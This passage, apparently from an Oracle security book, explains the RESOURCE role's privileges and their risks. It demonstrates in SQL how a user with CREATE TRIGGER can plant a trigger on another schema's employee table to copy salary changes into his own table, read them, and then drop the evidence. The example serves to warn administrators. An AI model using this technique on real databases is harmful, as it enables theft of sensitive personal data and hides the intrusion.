5.3 The RESOURCE Role The RESOURCE role grants a user the privileges necessary to create procedures, triggers and, in Oracle8, types within the user's own schema area. Granting a user RESOURCE without CONNECT, while possible, does not allow the user to log in to the database. Therefore, if you really must grant a user RESOURCE, you have to grant CONNECT also or, at least, CREATE SESSION so the user can log in. 5.3.1 System Privileges for the RESOURCE Role The system privileges for the RESOURCE role are shown in Table 5.2. Table 5.2. RESOURCE Role System Privileges | Privilege | | CREATE CLUSTER | | CREATE PROCEDURE | | CREATE SEQUENCE | | CREATE TABLE | | CREATE TRIGGER | | CREATE TYPE (new in Oracle8) | 5.3.2 Problems with the RESOURCE Role There are several potential problems with the use of the RESOURCE role. 5.3.2.1 The Oracle-supplied roles can be moving targets As we mentioned earlier in the section "About the Defaults," the system privileges of an Oracle-supplied role may change with a new version or upgrade release. For example, the privileges listed in Table 5.2 are from an Oracle8 RESOURCE role. Note that in an Oracle7 database, the CREATE TYPE privilege does not exist. There is another problem that has as much or more impact on your database security, which we examine next . 5.3.2.2 UNLIMITED TABLESPACE access Another issue with the RESOURCE role is that the UNLIMITED TABLESPACE system privilege is explicitly granted. This privilege gives the user unlimited quotas on any tablespace in the database. Even if an explicit quota is specified for a user, if the user has been granted the RESOURCE role, the user may create objects on any tablespace, including the system tablespace. For example, suppose that the user account mary is created and granted the RESOURCE role. Even if mary is altered and a quota of zero (0) is given on the system tablespace, mary can still create objects in the system tablespace because of the UNLIMITED TABLESPACE system privilege granted to the account. 5.3.2.3 About the CREATE TRIGGER privilege Note that the RESOURCE role only adds three privileges to those provided by the CONNECT role: CREATE PROCEDURE, CREATE TRIGGER, and CREATE TYPE. Use of the CREATE TRIGGER privilege may lead to an interesting situation. One of the most touchy aspects of a personnel system is salary. Suppose that the following situation exists: -
Employee Ralph Rotten (username ralph ) has been granted the CONNECT and RESOURCE roles. -
Schema mary is the production schema owner. The employee table within mary contains salary information, which is sensitive data. -
ralph does not have any privileges on mary 's employee table. -
ralph is a bit of a hacker. Now, user ralph finds out the structure of the employee table through the system documentation. User ralph then creates a script containing the following commands: SQL> CREATE TABLE private_audit 2 (id_of_user VARCHAR2(30), 3 action_performed VARCHAR2(5), 4 tab_name VARCHAR2(30), 5 pkey VARCHAR2(20), 6 salary NUMBER(10,2), 7 date_of_action DATE) 8 ; Table created. SQL> GRANT select, insert, update ON private_audit 2 TO public; Grant succeeded. OK. User ralph then creates a trigger on the mary.employee table, a table that ralph cannot even describe! SQL> CREATE OR REPLACE TRIGGER BIUDR_EMP 2 BEFORE INSERT OR UPDATE OR DELETE 3 ON mary.employee 4 FOR EACH ROW 5 /* Capture the salary information and the user changing it! */ 6 DECLARE 7 tyact VARCHAR2(1); 8 enam VARCHAR2(20); 9 sal NUMBER(10,2) := :new.sal; 10 BEGIN 11 IF INSERTING THEN 12 tyact := 'I'; 13 enam := :new.ename; 14 ELSIF UPDATING THEN 15 tyact := 'U'; 16 enam := :old.ename; 17 IF sal = 0 OR sal IS NULL THEN 18 sal := :old.sal; 19 END IF; 20 ELSIF DELETING THEN 21 tyact := 'D'; 22 enam := :old.ename; 23 sal := :old.sal; 24 END IF; 25 25 INSERT INTO ralph.private_audit 26 (id_of_user,action_performed,tab_name,pkey,date_of_action,salary) 27 VALUES 28 (user, tyact, 'EMP', enam, sysdate, sal) 29 ; 30 / Trigger created. Having done this on the morning that new hires are registered or when raises are due, user ralph then waits. During the day, the payroll administrator runs the application to give the raises. About 4:00 p.m., ralph runs this query: SQL> @qpaud1 SQL> COLUMN id_of_user FORMAT a8 HEADING uname SQL> COLUMN action_performed FORMAT a3 HEADING act SQL> COLUMN tab_name FORMAT a10 SQL> COLUMN salary FORMAT ,999.90 SQL> SQL> SELECT * 2 FROM private_audit 3 ORDER BY pkey; uname act TAB_NAME PKEY SALARY DATE_OF_A -------- --- ---------- -------------------- ----------- --------- SYSTEM U EMPLOYEE ALDER ,149.50 01-MAR-98 SYSTEM U EMPLOYEE ARDEN ,660.80 01-MAR-98 SYSTEM U EMPLOYEE BROWN ,092.25 01-MAR-98 SYSTEM U EMPLOYEE CLARY ,658.25 01-MAR-98 SYSTEM U EMPLOYEE JAMES 2.75 01-MAR-98 SYSTEM U EMPLOYEE JOHNS ,227.88 01-MAR-98 SYSTEM U EMPLOYEE MARTIE ,297.50 01-MAR-98 SYSTEM U EMPLOYEE MIKERT ,358.50 01-MAR-98 SYSTEM U EMPLOYEE SAMUALS ,000.00 01-MAR-98 SYSTEM U EMPLOYEE SMYTHE 6.00 01-MAR-98 SYSTEM U EMPLOYEE TANNER ,557.00 01-MAR-98 SYSTEM U EMPLOYEE WALTEN ,297.50 01-MAR-98 12 rows selected. Oops! User ralph then drops the trigger and table to conceal what has been done, but retains the scripts to recreate the table and trigger when the next pay raises are due to be given. | 
